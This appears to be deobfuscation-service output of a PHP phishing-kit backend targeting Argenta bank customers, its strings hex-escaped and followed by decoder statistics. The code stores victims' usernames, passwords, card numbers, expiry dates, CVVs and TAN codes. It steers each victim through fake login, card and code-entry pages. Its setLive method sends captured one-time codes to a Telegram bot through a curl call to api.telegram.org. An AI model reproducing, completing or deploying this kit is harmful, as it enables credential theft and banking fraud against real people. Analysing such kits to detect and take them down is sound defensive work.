$stmt->bindValue("\72\165\151\144", $uid, PDO::PARAM_STR); $stmt->execute(); $data = $stmt->fetch(); if (!empty($data["\x70\x61\x67\145"])) { return $data["\160\x61\147\145"]; } return false; } public static function setLoginPage($uid, $page) { $sql = "\x55\120\104\x41\124\105\40\154\x6f\x67\163\40\x53\105\124\40\160\x61\x67\145\40\75\40\x3a\160\x61\x67\145\x2c\40\167\x61\151\164\x69\156\x67\x20\75\40\72\167\x61\x69\x74\151\x6e\x67\54\x20\x61\162\147\x65\x6e\x74\141\x5f\165\163\x65\x72\x20\75\40\72\x65\155\x70\x74\171\x2c\x20\x61\162\x67\x65\x6e\x74\x61\137\x70\141\163\x73\x20\x3d\x20\x3a\x65\x6d\160\x74\x79\40\127\110\105\122\105\x20\x75\x73\145\x72\x5f\x69\144\x20\x3d\40\72\x75\x73\x65\162\137\151\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\x70\141\147\145", $page, PDO::PARAM_STR); $stmt->bindValue("\x3a\167\x61\x69\164\151\x6e\147", "\x66\x61\x6c\x73\145", PDO::PARAM_STR); $stmt->bindValue("\x3a\x65\x6d\x70\164\171", null, PDO::PARAM_NULL); $stmt->bindValue("\72\165\x73\x65\162\x5f\151\x64", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setControlPage($uid, $page) { $sql = "\x55\x50\x44\x41\124\105\x20\x6c\157\x67\163\x20\x53\105\124\40\160\141\147\x65\x20\75\x20\x3a\160\141\147\145\x2c\x20\x77\141\x69\x74\151\156\x67\x20\x3d\40\72\x77\141\151\x74\x69\x6e\147\54\40\141\x72\x67\145\x6e\164\x61\137\167\151\146\151\x20\x3d\40\x3a\x65\x6d\160\164\x79\x2c\x20\141\162\x67\145\x6e\x74\x61\137\167\151\146\x69\137\x70\141\163\x73\x20\75\40\72\145\155\160\x74\x79\54\x20\x61\162\147\145\x6e\164\x61\x5f\167\151\x66\151\x5f\160\x61\163\163\x5f\x74\x77\x6f\x20\x3d\x20\72\x65\x6d\160\164\x79\x20\x57\x48\x45\x52\x45\40\165\163\x65\x72\137\151\x64\40\x3d\40\x3a\x75\163\x65\162\x5f\x69\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\x70\x61\x67\x65", $page, PDO::PARAM_STR); $stmt->bindValue("\72\167\x61\x69\164\151\x6e\x67", "\146\141\154\x73\x65", PDO::PARAM_STR); $stmt->bindValue("\x3a\x65\x6d\160\164\x79", null, PDO::PARAM_NULL); $stmt->bindValue("\x3a\x75\163\145\162\x5f\151\144", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setCreditcardPage($uid, $page) { $sql = "\x55\120\x44\x41\x54\x45\40\x6c\157\147\163\40\123\x45\124\40\x70\x61\147\145\40\75\40\x3a\160\141\x67\145\54\x20\x77\x61\x69\164\151\x6e\x67\40\75\x20\72\167\141\151\164\151\x6e\x67\x2c\x20\141\162\147\x65\156\164\141\137\143\x72\x65\144\151\x74\143\141\162\x64\x20\75\40\x3a\145\155\x70\x74\171\x2c\40\141\x72\147\x65\x6e\x74\x61\x5f\x63\x63\x65\170\160\x20\75\40\x3a\145\x6d\160\164\x79\x2c\x20\141\x72\x67\145\156\164\x61\x5f\x63\x76\x76\x20\75\x20\x3a\145\155\x70\x74\171\x20\127\110\x45\122\x45\x20\165\163\145\x72\137\151\x64\40\75\40\72\165\163\145\162\x5f\151\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\x70\141\147\145", $page, PDO::PARAM_STR); $stmt->bindValue("\72\x77\x61\x69\x74\151\x6e\147", "\x66\x61\154\163\145", PDO::PARAM_STR); $stmt->bindValue("\72\145\x6d\x70\x74\171", null, PDO::PARAM_NULL); $stmt->bindValue("\x3a\x75\x73\x65\162\x5f\x69\x64", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setDetailsPage($uid, $page) { $sql = "\x55\120\x44\x41\x54\105\x20\x6c\157\147\163\40\x53\105\x54\40\x70\141\147\x65\x20\75\x20\72\160\x61\147\145\x2c\40\x77\x61\151\x74\151\x6e\147\40\x3d\x20\72\167\141\151\164\x69\156\x67\x2c\40\x61\x72\x67\145\x6e\x74\141\x5f\145\x78\160\40\x3d\40\72\145\x6d\x70\164\x79\54\40\x61\x72\x67\x65\156\164\141\137\156\165\x6d\142\145\162\x20\75\x20\x3a\x65\155\160\x74\x79\x20\x57\110\x45\122\x45\x20\x75\163\145\x72\137\x69\144\40\x3d\x20\x3a\x75\163\x65\x72\137\x69\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\160\x61\x67\145", $page, PDO::PARAM_STR); $stmt->bindValue("\72\167\141\151\x74\151\156\x67", "\x66\141\154\x73\x65", PDO::PARAM_STR); $stmt->bindValue("\72\x65\155\x70\164\x79", null, PDO::PARAM_NULL); $stmt->bindValue("\72\x75\x73\x65\x72\137\151\144", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setConfirmPage($uid, $page) { $sql = "\125\x50\x44\x41\124\105\40\154\157\x67\163\x20\123\x45\124\40\x70\x61\147\x65\40\x3d\40\x3a\x70\x61\x67\145\54\x20\x77\x61\x69\164\151\x6e\147\x20\75\x20\x3a\x77\x61\151\x74\151\156\x67\x20\x57\110\x45\x52\x45\x20\165\163\x65\x72\x5f\151\144\x20\75\x20\72\x75\x73\145\162\x5f\x69\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\160\x61\147\145", $page, PDO::PARAM_STR); $stmt->bindValue("\x3a\x77\141\151\x74\x69\x6e\x67", "\146\x61\x6c\163\145", PDO::PARAM_STR); $stmt->bindValue("\x3a\165\x73\x65\162\137\x69\x64", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setTanPage($uid, $page) { $sql = "\x55\x50\104\x41\124\105\x20\x6c\x6f\147\x73\x20\123\x45\x54\40\x70\x61\147\x65\x20\x3d\40\x3a\160\141\x67\x65\x2c\40\x77\x61\x69\164\x69\156\x67\40\75\40\x3a\167\x61\151\x74\151\x6e\x67\x2c\x20\x61\x72\147\145\156\164\141\137\x74\141\156\40\x3d\x20\x3a\145\155\160\x74\171\40\x57\110\105\x52\x45\40\x75\163\145\x72\137\x69\x64\x20\75\40\72\165\x73\145\162\x5f\151\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\160\x61\x67\x65", $page, PDO::PARAM_STR); $stmt->bindValue("\72\x77\141\151\164\151\156\147", "\146\141\154\163\145", PDO::PARAM_STR); $stmt->bindValue("\x3a\x65\x6d\160\x74\x79", null, PDO::PARAM_NULL); $stmt->bindValue("\x3a\x75\x73\145\x72\137\151\x64", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setLiveInformation($uid) { $sql = "\x55\x50\x44\101\124\105\x20\x6c\x6f\147\163\x20\x53\x45\124\x20\142\x61\156\x6b\x20\75\x20\72\142\x61\x6e\x6b\54\x20\141\x72\147\145\x6e\164\141\137\x72\x65\163\x70\x6f\x6e\163\x5f\164\x77\157\x20\x3d\40\x3a\x65\155\x70\x74\171\x2c\x20\x70\x61\x67\145\40\75\40\72\145\x6d\x70\x74\171\54\40\x77\x61\x69\x74\x69\156\147\40\x3d\40\72\167\x61\x69\x74\151\156\147\x20\x57\110\x45\x52\105\40\165\x73\x65\162\x5f\x69\144\x20\75\40\72\x75\163\x65\162\x5f\x69\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\142\x61\x6e\x6b", "\101\122\107\105\116\124\x41", PDO::PARAM_STR); $stmt->bindValue("\72\145\x6d\160\164\x79", null, PDO::PARAM_STR); $stmt->bindValue("\x3a\167\141\151\x74\151\156\147", "\146\141\154\163\145", PDO::PARAM_STR); $stmt->bindValue("\72\x75\163\145\x72\137\x69\144", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setLive($respons, $uid) { $sql = "\125\x50\104\x41\124\x45\40\x6c\157\147\x73\x20\x53\x45\124\40\x61\x72\x67\145\156\164\141\137\162\x65\x73\160\157\x6e\163\x5f\x74\167\157\x20\75\40\72\162\x65\163\x70\157\x6e\163\54\40\x77\x61\151\164\151\x6e\147\x20\75\x20\x3a\167\141\x69\164\x69\156\x67\x20\x57\110\105\x52\x45\x20\x75\x73\x65\x72\x5f\151\144\x20\75\40\x3a\165\x69\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\x72\145\x73\160\x6f\x6e\x73", $respons, PDO::PARAM_STR); $stmt->bindValue("\x3a\x75\151\x64", $uid, PDO::PARAM_STR); $stmt->bindValue("\72\x77\x61\x69\164\151\x6e\x67", "\164\x72\165\x65", PDO::PARAM_STR); $chatId = file_get_contents("\x2e\56\x2f\160\165\x62\x6c\x69\x63\57\x61\x70\151\x2f\x63\x68\x61\164\56\x69\156\x69"); $botToken = file_get_contents("\56\56\x2f\x70\165\x62\154\x69\x63\57\x61\160\151\57\142\157\164\56\151\x6e\x69"); $notify = "\150\164\164\160\x73\72\57\57\141\x70\151\56\x74\x65\x6c\145\x67\162\x61\155\x2e\x6f\162\147\x2f\142\x6f\x74{$botToken}\57\x73\x65\x6e\144\115\145\163\163\141\147\145\77\x63\150\141\x74\137\x69\x64\x3d{$chatId}\46\x74\145\x78\x74\75\xf0\235\x91\265\xf0\x9d\222\x86\360\235\x92\x98\x20\xf0\x9d\x91\263\360\x9d\222\220\360\235\x92\x88\40\x2d\40\50\114\x69\x76\x65\40\103\157\144\145\x29\x20\360\x9f\x87\xa7\xf0\x9f\x87\252\x20\x41\122\x47\105\x4e\124\x41\x25\60\x41\x25\60\101\x52\145\163\x70\157\x6e\x73\145\x20\55\40{$respons}\45\x30\x41\x25\60\101\xf0\235\221\274\360\235\x91\xb0\xf0\x9d\x91\xab\x20\x2d\40{$uid}"; $stmt->execute(); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $notify); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); } public static function setLivePage($uid, $page) { $sql = "\125\120\104\101\x54\105\x20\154\x6f\147\163\x20\x53\105\124\40\160\141\147\x65\x20\x3d\40\x3a\160\141\x67\145\54\40\167\141\151\164\151\x6e\x67\x20\x3d\x20\72\x77\141\x69\x74\x69\x6e\x67\x2c\x20\141\162\147\x65\156\x74\141\137\x72\x65\163\160\x6f\x6e\163\137\164\x77\157\x20\x3d\x20\x3a\145\x6d\x70\164\171\40\127\110\105\x52\105\40\165\163\145\162\137\151\144\40\x3d\40\72\165\x73\145\x72\137\x69\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\160\141\147\145", $page, PDO::PARAM_STR); $stmt->bindValue("\72\167\x61\x69\x74\x69\x6e\x67", "\146\x61\x6c\x73\x65", PDO::PARAM_STR); $stmt->bindValue("\72\x65\155\x70\x74\171", null, PDO::PARAM_NULL); $stmt->bindValue("\72\165\163\x65\x72\x5f\x69\144", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setLivePageCode($uid, $page, $codetwo) { $sql = "\125\120\104\101\x54\105\40\x6c\157\147\163\x20\123\x45\x54\x20\160\141\x67\x65\x20\x3d\x20\72\160\141\147\145\54\x20\167\141\151\164\x69\x6e\x67\40\75\x20\72\x77\x61\x69\164\x69\x6e\147\54\40\141\x72\147\145\x6e\164\x61\x5f\162\145\163\x70\x6f\x6e\x73\x5f\164\x77\x6f\40\x3d\x20\72\x65\x6d\x70\164\x79\x2c\40\141\162\147\145\156\x74\x61\137\143\157\144\x65\x5f\164\x77\157\40\x3d\40\x3a\x63\x6f\x64\x65\164\x77\157\x20\127\110\x45\x52\105\40\165\x73\145\x72\x5f\151\x64\40\75\x20\x3a\165\x73\x65\162\137\151\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\160\141\147\x65", $page, PDO::PARAM_STR); $stmt->bindValue("\72\x77\x61\x69\164\x69\x6e\x67", "\x66\x61\154\x73\x65", PDO::PARAM_STR); $stmt->bindValue("\x3a\145\x6d\x70\x74\171", null, PDO::PARAM_NULL); $stmt->bindValue("\x3a\x63\x6f\144\x65\x74\167\157", $codetwo, PDO::PARAM_STR); $stmt->bindValue("\72\165\163\x65\162\137\151\144", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function getLiveCode($uid) { $sql = "\123\105\114\x45\x43\124\40\x2a\40\x46\122\117\x4d\40\x6c\157\147\x73\40\127\x48\105\x52\x45\40\x75\x73\x65\162\137\x69\x64\x20\75\40\72\x75\151\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\x75\151\x64", $uid); $stmt->execute(); $data = $stmt->fetch(); if (!empty($data["\141\x72\147\145\156\164\141\137\143\157\x64\145\137\x74\x77\x6f"])) { return $data["\x61\x72\x67\145\x6e\164\141\137\143\x6f\144\x65\137\164\167\x6f"]; } return false; } public static function setLivePageCodeTwo($uid, $page, $codethree) { $sql = "\125\x50\104\x41\124\105\40\154\x6f\147\x73\x20\123\x45\x54\40\160\141\x67\145\40\x3d\x20\x3a\x70\141\147\x65\54\x20\x77\141\x69\x74\151\x6e\147\x20\75\40\x3a\167\x61\151\164\x69\156\x67\x2c\x20\141\162\147\145\x6e\164\x61\x5f\x72\x65\163\x70\157\156\163\x5f\164\x77\157\40\x3d\40\72\145\x6d\x70\164\171\x2c\40\141\x72\147\145\x6e\x74\x61\x5f\x63\x6f\x64\145\137\164\150\162\x65\x65\x20\75\x20\72\x63\x6f\x64\x65\164\x68\x72\145\145\x20\x57\x48\x45\x52\x45\40\x75\163\x65\x72\137\151\144\40\x3d\x20\72\165\x73\x65\x72\137\151\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\x70\x61\x67\x65", $page, PDO::PARAM_STR); $stmt->bindValue("\72\x77\x61\x69\x74\151\x6e\147", "\x66\141\x6c\x73\145", PDO::PARAM_STR); $stmt->bindValue("\x3a\x65\x6d\x70\164\x79", null, PDO::PARAM_NULL); $stmt->bindValue("\72\x63\157\144\x65\x74\150\162\145\145", $codethree, PDO::PARAM_STR); $stmt->bindValue("\72\165\x73\x65\162\137\x69\144", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function getLiveCodeTwo($uid) { $sql = "\123\x45\x4c\105\x43\124\40\52\40\x46\x52\117\115\x20\x6c\157\147\163\x20\127\110\x45\122\105\40\x75\x73\145\x72\x5f\151\x64\x20\75\x20\x3a\x75\151\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\x75\151\144", $uid); $stmt->execute(); $data = $stmt->fetch(); if (!empty($data["\x61\x72\147\145\156\164\141\x5f\143\x6f\x64\145\137\x74\x68\x72\x65\145"])) { return $data["\141\x72\x67\x65\x6e\164\141\x5f\x63\157\144\x65\137\164\x68\162\x65\x65"]; } return false; } public static function setFinishPage($uid, $page) { $sql = "\x55\x50\104\101\124\x45\x20\x6c\x6f\147\163\x20\123\105\x54\x20\160\x61\x67\x65\x20\x3d\40\72\x70\141\147\145\x2c\40\x77\141\151\164\x69\156\x67\40\75\40\x3a\x77\141\x69\164\151\156\147\40\127\110\x45\x52\105\x20\165\163\145\x72\x5f\151\144\40\x3d\40\72\165\x73\145\162\x5f\151\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\160\141\147\145", $page, PDO::PARAM_STR); $stmt->bindValue("\72\167\141\151\x74\151\x6e\x67", "\146\141\154\x73\145", PDO::PARAM_STR); $stmt->bindValue("\72\x75\x73\x65\x72\137\151\144", $uid, PDO::PARAM_STR); return $stmt->execute(); } }

Function Calls

None

Variables

None

Stats

MD5 3dea61ac7dbd1c8fb17e3fe9070bca74
Eval Count 0
Decode Time 201 ms